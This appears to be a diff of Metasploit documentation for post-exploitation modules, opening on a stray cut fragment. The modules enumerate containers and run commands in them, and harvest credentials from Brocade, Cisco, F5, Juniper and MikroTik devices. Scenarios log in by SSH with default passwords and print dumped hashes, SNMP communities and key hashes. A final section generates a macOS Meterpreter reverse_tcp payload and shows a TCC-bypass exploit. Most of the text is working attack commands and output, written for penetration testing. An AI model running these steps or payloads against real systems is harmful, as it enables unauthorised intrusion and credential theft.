0;999 NTLM WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
```
**Using the extapi Extension**
The main purpose of the extapi extension is to perform advanced enumeration of the target machine. For
@@ -0,0 +1,151 @@
## Container Platforms
This module looks for container platforms running on the target and then lists any currently running containers for each platform found. The currently supported container platforms are:
1. Docker
2. LXC
3. RKT
## Verification Steps
1. Start msfconsole
2. Get a session via exploit of your choice
3. Load the module `use post/linux/gather/enum_containers`
4. Set the session `set session 1`
5. run the module `run`
6. You should get feedback if any container platforms are runnable by the current user and if there are any active containers running on them
## Options
**SESSION**
Which session to use, which can be viewed with `sessions -l`
**CMD**
Optional shell command to run on each running container
## Scenarios
Scenario 1: Docker is installed with 4 running containers
```
msf5 post(linux/gather/enum_containers) > set session 4
session => 4
msf5 post(linux/gather/enum_containers) > run
[+] docker was found on the system!
[+] docker: 1 Running Containers / 5 Total
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
853913ae1e17 nginx "/docker-entrypoint.…" About an hour ago Up About an hour 80/tcp lucid_tu
0422ad0a1d6e nginx "/docker-entrypoint.…" About an hour ago Exited (0) About an hour ago gifted_thompson
35930fd284e1 nginx "/docker-entrypoint.…" 2 days ago Exited (0) 5 hours ago unruffled_gates
a7149a9a858e nginx "/docker-entrypoint.…" 2 days ago Exited (127) 2 days ago pedantic_tesla
cfa40ec4d85c nginx "/docker-entrypoint.…" 2 days ago Exited (0) 2 days ago fervent_gates
[+] Results stored in: /home/gwillcox/.msf4/loot/20200805143522_default_172.27.129.4_host.docker_cont_134332.txt
[*] Post module execution completed
```
Scenario 2: Docker, LXC and RKT are installed, and each of them are running their own containers
```
msf5 post(linux/gather/enum_containers) > set session 2
session => 2
msf5 post(linux/gather/enum_containers) > exploit
[+] docker was found on the system!
[+] docker: 1 Running Containers / 5 Total
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
853913ae1e17 nginx "/docker-entrypoint.…" About an hour ago Up About an hour 80/tcp lucid_tu
0422ad0a1d6e nginx "/docker-entrypoint.…" About an hour ago Exited (0) About an hour ago gifted_thompson
35930fd284e1 nginx "/docker-entrypoint.…" 2 days ago Exited (0) 5 hours ago unruffled_gates
a7149a9a858e nginx "/docker-entrypoint.…" 2 days ago Exited (127) 2 days ago pedantic_tesla
cfa40ec4d85c nginx "/docker-entrypoint.…" 2 days ago Exited (0) 2 days ago fervent_gates
[+] Results stored in: /home/gwillcox/.msf4/loot/20200805193841_default_172.27.129.4_host.docker_cont_169517.txt
[+] lxc was found on the system!
[+] lxc: 1 Running Containers / 1 Total
NAME STATE IPV4 IPV6 TYPE SNAPSHOTS
one-fox RUNNING 10.166.198.97 (eth0) fd42:a29:a47e:79c6:216:3eff:fe1f:1dca (eth0) CONTAINER 0
[+] Results stored in: /home/gwillcox/.msf4/loot/20200805193842_default_172.27.129.4_host.lxc_contain_448673.txt
[+] rkt was found on the system!
[+] rkt: 2 Running Containers / 1 Total
UUID APP IMAGE NAME STATE CREATED STARTED NETWORKS
1f5f73a2 etcd coreos.com/etcd:v3.1.7 running 32 minutes ago 32 minutes ago default:ip4=172.16.28.3
384c8a25 etcd coreos.com/etcd:v3.1.7 exited garbage 4 hours ago 4 hours ago default:ip4=172.16.28.2
[+] Results stored in: /home/gwillcox/.msf4/loot/20200805193842_default_172.27.129.4_host.rkt_contain_801968.txt
[*] Post module execution completed
msf5 post(linux/gather/enum_containers) >
Scenario 3: No container software is runnable
```
msf5 post(linux/gather/enum_containers) > set session 6
session => 6
msf5 post(linux/gather/enum_containers) > run
[-] No container software appears to be installed or runnable by the current user
[*] Post module execution completed
```
Scenario 4: List all containers and execute the `env` command on all running containers
```
msf5 post(linux/gather/enum_containers) > set session 6
session => 6
msf5 post(linux/gather/enum_containers) > set CMD "env"
CMD => env
msf5 post(linux/gather/enum_containers) > run
[+] docker was found on the system!
[+] docker: 1 Running Containers / 5 Total
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
853913ae1e17 nginx "/docker-entrypoint.…" 2 hours ago Up 2 hours 80/tcp lucid_tu
0422ad0a1d6e nginx "/docker-entrypoint.…" 2 hours ago Exited (0) 2 hours ago gifted_thompson
35930fd284e1 nginx "/docker-entrypoint.…" 2 days ago Exited (0) 6 hours ago unruffled_gates
a7149a9a858e nginx "/docker-entrypoint.…" 2 days ago Exited (127) 2 days ago pedantic_tesla
cfa40ec4d85c nginx "/docker-entrypoint.…" 2 days ago Exited (0) 2 days ago fervent_gates
[+] Results stored in: /home/gwillcox/.msf4/loot/20200805202620_default_172.27.129.4_host.docker_cont_406553.txt
[*] Executing command on docker container lucid_tu
[+] PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=853913ae1e17
NGINX_VERSION=1.19.1
NJS_VERSION=0.4.2
PKG_RELEASE=1~buster
HOME=/root
[+] lxc was found on the system!
[+] lxc: 1 Running Containers / 1 Total
NAME STATE IPV4 IPV6 TYPE SNAPSHOTS
one-fox RUNNING 10.166.198.97 (eth0) fd42:a29:a47e:79c6:216:3eff:fe1f:1dca (eth0) CONTAINER 0
[+] Results stored in: /home/gwillcox/.msf4/loot/20200805202623_default_172.27.129.4_host.lxc_contain_977736.txt
[*] Executing command on lxc container one-fox
[+] PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
container=lxc
HOME=/root
USER=root
LANG=C.UTF-8
[+] rkt was found on the system!
[+] rkt: 2 Running Containers / 1 Total
UUID APP IMAGE NAME STATE CREATED STARTED NETWORKS
1f5f73a2 etcd coreos.com/etcd:v3.1.7 running 1 hour ago 1 hour ago default:ip4=172.16.28.3
384c8a25 etcd coreos.com/etcd:v3.1.7 exited garbage 5 hours ago 5 hours ago default:ip4=172.16.28.2
[+] Results stored in: /home/gwillcox/.msf4/loot/20200805202625_default_172.27.129.4_host.rkt_contain_522670.txt
[*] Executing command on rkt container 1f5f73a2
[-] RKT containers do not support command execution
Use rkt enter '1f5f73a2' to manually enumerate this container
[+] USER=root
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
LANG=C
PWD=/home/gwillcox/git/metasploit-framework
[*] Executing command on rkt container 384c8a25
[-] RKT containers do not support command execution
Use rkt enter '384c8a25' to manually enumerate this container
[+] USER=root
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
LANG=C
PWD=/home/gwillcox/git/metasploit-framework
[*] Post module execution completed
msf5 post(linux/gather/enum_containers) >
```
@@ -1,33 +1,36 @@
## Vulnerable Application
This module has been tested on the following hardware/OS combinations.
This module has been tested on the following hardware/OS combinations.
* Brocade ICX 6430-24
* Firmware: 08.0.20T311
* Brocade ICX 6430-24
* Firmware: 08.0.20T311
The ICX config can be found [no passwords](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_nopass.conf),
[hashes](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_pass.conf)
The ICX config can be found [no passwords](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_nopass.conf),
[hashes](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_pass.conf)
This module will look for the follow parameters which contain credentials:
This module will look for the following parameters which contain credentials:
* FastIron
* `show configuration`
* FastIron
* `show configuration`
!!! keep in mind 'password-display' http://wwwaem.brocade.com/content/html/en/command-reference-guide/fastiron-08040-commandref/GUID-169889CD-1A74-4A23-AC78-38796692374F.html
!!! keep in mind 'password-display'
http://wwwaem.brocade.com/content/html/en/command-reference-guide/fastiron-08040-commandref/GUID-169889CD-1A74-4A23-AC78-38796692374F.html
!!! need to be able to give a password to enable
* super-user-password
* username
* SNMP
* super-user-password
* username
* SNMP
## Verification Steps
1. Start msfconsole
2. Get a shell
3. Do: ```use post/brocade/gather/enum_brocade```
4. Do: ```set session [id]```
5. Do: ```set verbose true```
6. Do: ```run```
1. Start msfconsole
2. Get a shell
3. Do: ```use post/networking/gather/enum_brocade```
4. Do: ```set session [id]```
5. Do: ```set verbose true```
6. Do: ```run```
## Options
## Scenarios
@@ -36,7 +39,7 @@
#### SSH Session with password-display off
```
resource (brocade.rb)> use post/brocade/gather/enum_brocade
resource (brocade.rb)> use post/networking/gather/enum_brocade
resource (brocade.rb)> set session 1
session => 1
resource (brocade.rb)> set verbose true
@@ -51,14 +54,15 @@ resource (brocade.rb)> run
[*] Post module execution completed
```
#### SSH Session with Enable run
#### SSH Session with Enable run
```
resource (brocade.rb)> use post/brocade/gather/enum_brocade
resource (brocade.rb)> use post/networking/gather/enum_brocade
resource (brocade.rb)> set session 1
session => 1
resource (brocade.rb)> set verbose true
verbose => true
resource (brocade.rb)> run
[*] In an enabled cli
[*] Getting version information
[*] OS: 08.0.30hT311
@@ -70,7 +74,7 @@ verbose => true
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
[*] Post module execution completed
msf5 post(brocade/gather/enum_brocade) > loot
msf5 post(networking/gather/enum_brocade) > loot
Loot
====
@@ -80,7 +84,7 @@ host service type name content info
10.0.4.51 brocade.version version.txt text/plain Brocade Version /root/.msf4/loot/20190601221959_default_10.0.4.51_brocade.version_003751.txt
10.0.4.51 brocade.config config.txt text/plain Brocade Configuration /root/.msf4/loot/20190601222004_default_10.0.4.51_brocade.config_998514.txt
msf5 post(brocade/gather/enum_brocade) > creds
msf5 post(networking/gather/enum_brocade) > creds
Credentials
===========
@@ -1,36 +1,38 @@
## Vulnerable Application
This module has been tested on the following hardware/OS combinations.
This module has been tested on the following hardware/OS combinations.
* IOS
* Catalyst 2950, C2950-I6K2L2Q4-M, Version 12.1(22)EA13
* UC520, UC520-8U-4FXO-K9, Version 12.4(20)T2
* IOS
* Catalyst 2950, C2950-I6K2L2Q4-M, Version 12.1(22)EA13
* UC520, UC520-8U-4FXO-K9, Version 12.4(20)T2
The Catalyst 2950 config can be found [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/cisco-2950.config)
The Catalyst 2950 config can be found [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/cisco-2950.config)
The UC520 config can be found [here](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/cisco-uc520.config)
The UC520 config can be found [here](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/cisco-uc520.config)
This module will look for the follow parameters which contain credentials:
This module will look for the following parameters which contain credentials:
* IOS
* enable
* snmp-server
* VTY
* WiFi
* VPN
* username
* PPP
* web admin
* IOS
* enable
* snmp-server
* VTY
* WiFi
* VPN
* username
* PPP
* web admin
## Verification Steps
1. Start msfconsole
2. Get a shell
3. Do: ```use post/cisco/gather/enum_cisco```
3. Do: ```use post/networking/gather/enum_cisco```
4. Do: ```set session [id]```
5. Do: ```set verbose true```
6. Do: ```run```
## Options
## Scenarios
### Catalyst 2950, C2950-I6K2L2Q4-M, Version 12.1(22)EA13
@@ -48,7 +50,7 @@ resource (cisco.rb)> run
[*] Command shell session 1 opened (111.111.1.111:40721 -> 222.222.2.222:22) at 2019-07-20 16:29:05 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (cisco.rb)> use post/cisco/gather/enum_cisco
resource (cisco.rb)> use post/networking/gather/enum_cisco
resource (cisco.rb)> set session 1
session => 1
resource (cisco.rb)> set verbose true
@@ -82,7 +84,7 @@ resource (cisco.rb)> run
[+] Saving to /root/.msf4/loot/20190720163006_default_222.222.2.222_cisco.ios.cdp_ne_989308.txt
[*] Post module execution completed
[*] Starting persistent handler(s)...
msf5 post(cisco/gather/enum_cisco) > creds
msf5 post(networking/gather/enum_cisco) > creds
Credentials
===========
@@ -111,7 +113,7 @@ resource (cisco.rb)> run
[*] Command shell session 1 opened (111.111.1.111:41839 -> 222.222.2.222:22) at 2019-07-21 16:24:02 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (cisco.rb)> use post/cisco/gather/enum_cisco
resource (cisco.rb)> use post/networking/gather/enum_cisco
resource (cisco.rb)> set session 1
session => 1
resource (cisco.rb)> set verbose true
@@ -151,7 +153,7 @@ resource (cisco.rb)> run
[+] Saving to /root/.msf4/loot/20190721162508_default_222.222.2.222_cisco.ios.cdp_ne_405367.txt
[*] Post module execution completed
[*] Starting persistent handler(s)...
msf5 post(cisco/gather/enum_cisco) > creds
msf5 post(networking/gather/enum_cisco) > creds
Credentials
===========
@@ -168,4 +170,3 @@ host origin service public private
222.222.2.222 222.222.2.222 161/udp public Password
222.222.2.222 222.222.2.222 22/tcp $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1 Nonreplayable hash md5
```
@@ -0,0 +1,105 @@
## Vulnerable Application
This module has been tested on the following hardware/OS combinations.
* F5 Big-IP 15.1.0.2
This module will look for the following parameters which contain credentials:
* Big-IP
* user
* SNMP
* key hashes
* SSL keys
## Verification Steps
1. Start msfconsole
1. Get a shell
1. Do: `use post/networking/gather/enum_f5`
1. Do: `set session [id]`
1. Do: `set verbose true`
1. Do: `run`
## Options
## Scenarios
### F5 Big-IP 15.1.0.2
```
resource (f5_ssh.rb)> use auxiliary/scanner/ssh/ssh_login
resource (f5_ssh.rb)> set username root
username => root
resource (f5_ssh.rb)> set password f5-bigip
password => f5-bigip
resource (f5_ssh.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (f5_ssh.rb)> run
[+] 2.2.2.2:22 - Success: 'root:f5-bigip' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux f5bigip.ragedomain 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Fri Mar 20 17:06:49 PDT 2020 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:42443 -> 2.2.2.2:22) at 2020-08-20 14:39:08 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
resource (f5_ssh.rb)> use post/networking/gather/enum_f5
resource (f5_ssh.rb)> set session 1
session => 1
resource (f5_ssh.rb)> set verbose true
verbose => true
resource (f5_ssh.rb)> run
[!] SESSION may not be compatible with this module.
[*] Moving to TMOS prompt
[+] Config information stored in to loot /home/h00die/.msf4/loot/20200820143924_default_2.2.2.2_f5.version_351096.txt
[+] Version: BIG-IP 15.1.0.2 0.0.9
[*] Gathering info from show sys
[+] Saving to /home/h00die/.msf4/loot/20200820143929_default_2.2.2.2_F5.show_sys_066269.txt
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[*] Gathering info from show auth
[+] Saving to /home/h00die/.msf4/loot/20200820143934_default_2.2.2.2_F5.show_auth_823862.txt
[*] Gathering info from show cm
[+] Saving to /home/h00die/.msf4/loot/20200820143939_default_2.2.2.2_F5.show_cm_704510.txt
[*] Gathering info from show net
[+] Saving to /home/h00die/.msf4/loot/20200820143944_default_2.2.2.2_F5.show_net_045166.txt
[*] Gathering info from show running-config
[+] Saving to /home/h00die/.msf4/loot/20200820143949_default_2.2.2.2_F5.show_running__097351.txt
[+] 2.2.2.2:22 Username 'admin' with description 'Admin User' and shell tmsh with hash $6$PQvaMmyS$Bn5.2qIin7rC34tHUQ1Vu6fEeuDzQZqc25TSiDsmbB903RENBisWbTN9Mqh7g2x26VUbxdzwUzzmL7fB4T2iy1
[+] 2.2.2.2:22 Username 'superlegit' with description 'a user account' and shell tmsh with hash $6$FTQz2reX$U0o37QjQYdg42dwCcLa.1H85hVTriQtxhlMoIM0cs4DFyW5s26kbrEgZG5Mfaxi9fgFfHrvDBGad7ikXnEZIP0
[+] 2.2.2.2:22 Username 't' with description 't' and shell none with hash $6$iajXIq2B$ezy4hVW9A.5eN1xG4JZWFbY4bFaq7uUKwO9gDVLxvgzigsX4gquLW1NoSaZP9CtN0NnrbGV4QvtkA.esLJOg50
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
[+] 2.2.2.2:22 SNMP Community 'rocommunity' with RO access
[+] 2.2.2.2:22 SNMP Community 'rwcommunity' with RW access
[+] 2.2.2.2:22 Hostname: f5bigip.ragedomain
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
[+] 2.2.2.2:22 Management IP: 2.2.2.2
[+] 2.2.2.2:22 Product BIG-IP
[+] 2.2.2.2:22 OS Version: 15.1.0.2
[+] 2.2.2.2:22 SSL Key 'f5_api_com.key' and hash $M$by$gXTDo23Gz+Yz4fWA4uBbTccd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
[*] Gathering info from show sys crypto master-key
[+] Saving to /home/h00die/.msf4/loot/20200820143954_default_2.2.2.2_F5.show_crypto_k_313673.txt
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[*] Gathering info from cat /config/bigip.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144005_default_2.2.2.2_F5.bigip.conf_401821.txt
[+] 2.2.2.2:22 SSL Key '/Common/f5_api_com.key' and hash $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
[*] Gathering info from cat /config/bigip_base.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144010_default_2.2.2.2_F5.bigip_base.co_869534.txt
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
[+] 2.2.2.2:22 Hostname: f5bigip.ragegroup.com
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
[+] 2.2.2.2:22 Management IP: 2.2.2.2
[+] 2.2.2.2:22 Product BIG-IP
[+] 2.2.2.2:22 OS Version: 15.1.0.2
[*] Gathering info from cat /config/bigip_gtm.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144015_default_2.2.2.2_F5.bigip_gtm.con_315221.txt
[*] Gathering info from cat /config/bigip_script.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144020_default_2.2.2.2_F5.bigip_script._498011.txt
[*] Gathering info from cat /config/bigip_user.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144025_default_2.2.2.2_F5.bigip_user.co_687618.txt
[*] Gathering info from cat /config/user_alert.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144030_default_2.2.2.2_F5.user_alert.co_138139.txt
[*] Post module execution completed
```
@@ -1,37 +1,39 @@
## Vulnerable Application
This module has been tested on the following hardware/OS combinations.
This module has been tested on the following hardware/OS combinations.
* ScreenOS
* JunOS
* ex2200-48t-4g, JUNOS Base OS boot 12.3R7.7
* ScreenOS
* JunOS
* ex2200-48t-4g, JUNOS Base OS boot 12.3R7.7
The ex2200 config can be found [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_ex2200.config)
The ex2200 config can be found [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_ex2200.config)
This module will look for the follow parameters which contain credentials:
This module will look for the following parameters which contain credentials:
* ScreenOS
* admin
* user
* SNMP
* ppp
* ike
* JunOS
* root-authentication
* user
* SNMP
* radius
* pptp/ppp (pap)
* ScreenOS
* admin
* user
* SNMP
* ppp
* ike
* JunOS
* root-authentication
* user
* SNMP
* radius
* pptp/ppp (pap)
## Verification Steps
1. Start msfconsole
2. Get a shell
3. Do: ```use post/juniper/gather/enum_juniper```
3. Do: ```use post/networking/gather/enum_juniper```
4. Do: ```set session [id]```
5. Do: ```set verbose true```
6. Do: ```run```
## Options
## Scenarios
### ex2200-48t-4g, JUNOS Base OS boot 12.3R7.7
@@ -39,6 +41,26 @@
#### root Login (SSH Shell)
```
msf5 > auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.5
rhosts => 192.168.1.5
msf5 auxiliary(scanner/ssh/ssh_login) > set username root
username => root
msf5 auxiliary(scanner/ssh/ssh_login) > set password Juniper
password => Juniper
msf5 auxiliary(scanner/ssh/ssh_login) > run
[+] 192.168.1.5:22 - Success: 'root:Juniper' 'Hostname: h00dieJuniperEx2200, Model: ex2200-48t-4g, JUNOS Base OS boot [12.3R7.7]'
[*] Command shell session 1 opened (192.168.1.6:45623 -> 192.168.1.5:22) at 2020-07-14 20:48:58 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
msf5 auxiliary(scanner/ssh/ssh_login) > use post/networking/gather/enum_juniper
msf5 post(networking/gather/enum_juniper) > set session 1
session => 1
msf5 post(networking/gather/enum_juniper) > run
[*] In an SSH shell
[*] Getting version information
[*] Original OS Guess junos, is now JunOS 12.3R7.7
@@ -59,7 +81,7 @@
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
[*] Post module execution completed
msf5 post(juniper/gather/enum_juniper) > creds
msf5 post(networking/gather/enum_juniper) > creds
Credentials
===========
@@ -83,11 +105,23 @@ host origin service public private
#### cli Login
```
msf5 > auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.5
rhosts => 192.168.1.5
msf5 auxiliary(scanner/ssh/ssh_login) > set username newuser
username => newuser
msf5 auxiliary(scanner/ssh/ssh_login) > set password Newuser
password => Newuser
msf5 auxiliary(scanner/ssh/ssh_login) > run
[+] 192.168.1.5:22 - Success: 'newuser:Newuser' 'Hostname: h00dieJuniperEx2200, Model: ex2200-48t-4g, JUNOS Base OS boot [12.3R7.7]'
[*] Command shell session 2 opened (192.168.1.6:45623 -> 192.168.1.5:22) at 2018-02-19 21:32:20 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (juniper_ex2200.rc)> use post/juniper/gather/enum_juniper
```
```
resource (juniper_ex2200.rc)> use post/networking/gather/enum_juniper
resource (juniper_ex2200.rc)> set session 2
session => 2
resource (juniper_ex2200.rc)> set verbose true
@@ -0,0 +1,103 @@
## Vulnerable Application
This module has been tested on the following hardware/OS combinations.
* RouterOS 6.45.9 OVA
The image is available from MikroTik [here](https://download.mikrotik.com/routeros/6.45.9/chr-6.45.9.ova)
This module runs the following commands to gather data:
* `/system package print without-paging`
* `/export verbose`
This module will look for the follow parameters which contain credentials:
* `/interface ovpn-client`
* `/interface pppoe-client`
* `/interface l2tp-client`
* `/interface pptp-client`
* `/snmp community`
* `/ppp secret`
* `/ip smb users`
* `/tool e-mail`
* `/interface wireless security-profiles`
## Verification Steps
1. Start msfconsole
2. Get a shell
3. Do: ```use post/networking/gather/enum_mikrotik```
4. Do: ```set session [id]```
5. Do: ```set verbose true```
6. Do: ```run```
## Options
## Scenarios
### RouterOS 6.45.9 OVA Image on ESXi 6.7
```
resource (mikrotik.rb)> use auxiliary/scanner/ssh/ssh_login
resource (mikrotik.rb)> set username admin
username => admin
resource (mikrotik.rb)> set password password
password => password
resource (mikrotik.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (mikrotik.rb)> run
[+] 1.1.1.1:22 - Success: 'admin:password' 'MikroTik CHR 6.45.9 (long-term)'
[*] Command shell session 1 opened (2.2.2.2:41365 -> 1.1.1.1:22) at 2020-07-18 11:06:32 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
resource (mikrotik.rb)> use post/networking/gather/enum_mikrotik
resource (mikrotik.rb)> set session 1
session => 1
resource (mikrotik.rb)> set verbose true
verbose => true
resource (mikrotik.rb)> run
[*] Getting version information
[+] Flags: X - disabled
# NAME VERSION SCHEDULED
0 routeros-x86 6.45.9
1 system 6.45.9
2 X ipv6 6.45.9
3 ups 6.45.9
4 wireless 6.45.9
5 hotspot 6.45.9
6 mpls 6.45.9
7 routing 6.45.9
8 ppp 6.45.9
9 dhcp 6.45.9
10 security 6.45.9
11 advanced-tools 6.45.9
12 dude 6.45.9
[+] Version information stored in to loot /home/h00die/.msf4/loot/20200718121308_default_1.1.1.1_mikrotik.version_923296.txt
[*] Gathering info from /export verbose
[+] 1.1.1.1:22 OS: RouterOS 6.45.9
[+] 1.1.1.1:22 Wireless AP wpawifi with WPA password presharedkey
[+] 1.1.1.1:22 Wireless AP wpa2wifi with WPA2 password presharedkey
[+] 1.1.1.1:22 Wireless AP wpaeapwifi with WPA2-EAP username username password password
[+] 1.1.1.1:22 Wireless AP wepwifi with WEP password 0123456789 with WEP password 0987654321 with WEP password 1234509876 with WEP password 0192837645
[+] 1.1.1.1:22 Wireless AP wep1wifi with WEP password 1111111111
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out1 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out2 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out3 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out4 with username user and password password
[+] 1.1.1.1:22 PPPoE Client on ether2 named pppoe-user and service name internet with username user and password password
[+] 1.1.1.1:22 L2TP Client to 10.99.99.99 named l2tp-hm with username l2tp-hm and password 123
[+] 1.1.1.1:22 PPTP Client to 10.99.99.99 named pptp-hm with username pptp-hm and password 123
[+] 1.1.1.1:22 SNMP community write with password write and write access
[+] 1.1.1.1:22 SNMP community v3 with password 0123456789(SHA1), encryption password 9876543210(AES) and write access
[+] 1.1.1.1:22 SMB Username mtuser and password mtpasswd
[+] 1.1.1.1:22 disabled SMB Username disableduser and password disabledpasswd with RO only access
[+] 1.1.1.1:22 disabled PPP tunnel bridging named ppp1 with profile name ppp_bridge and password password
[+] 1.1.1.1:22 SMTP Username smtpuser and password smtppassword for 1.1.1.1:25
[*] Post module execution completed
```
@@ -0,0 +1,91 @@
## Vulnerable Application
This module exploits a vulnerability in the TCC daemon on macOS Catalina
(<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be
manipulated (by setting the HOME environment variable) to use a new user
controlled location as the TCC database. We can then grant ourselves
entitlements by inserting them into this new database.
## Verification Steps
1. Start msfconsole
1. Get a user session on OSX 10.15.5 (or lower)
1. Do: ```use post/osx/escalate/tccbypass```
1. Do: ```set SESSION -1```
1. Do: ```run```
1. Your session should now be able to access the ~/Documents folder
## Scenarios
### User level shell on macOS Catalina 10.15.4
```
msf6 > use payload/osx/x64/meterpreter/reverse_tcp
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lhost 192.168.135.197
lhost => 192.168.135.197
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lport 4567
lport => 4567
msf6 payload(osx/x64/meterpreter/reverse_tcp) > generate -f macho -o revtcpx64.mac
[*] Writing 17204 bytes to revtcpx64.mac...
msf6 payload(osx/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 192.168.135.197:4567
msf6 payload(osx/x64/meterpreter/reverse_tcp) > [*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.132.178
[*] Meterpreter session 1 opened (192.168.135.197:4567 -> 192.168.132.178:49156) at 2020-09-10 11:44:05 -0500
msf6 payload(osx/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : macOS Catalina (macOS 10.15.4)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter > getuid
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
meterpreter > ls Documents
[-] 1009: Operation failed: 1
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(osx/x64/meterpreter/reverse_tcp) > use post/osx/escalate/tccbypass
msf6 post(osx/escalate/tccbypass) > show options
Module options (post/osx/escalate/tccbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
msf6 post(osx/escalate/tccbypass) > set session 1
session => 1
msf6 post(osx/escalate/tccbypass) > set verbose true
verbose => true
msf6 post(osx/escalate/tccbypass) > run
[*] Creating TCC directory /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC
[+] fake TCC DB found: /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC/TCC.db
[+] TCC.db was successfully updated!
[*] To cleanup, run:
launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd
rm -rf '/tmp/.SZulaEVB'
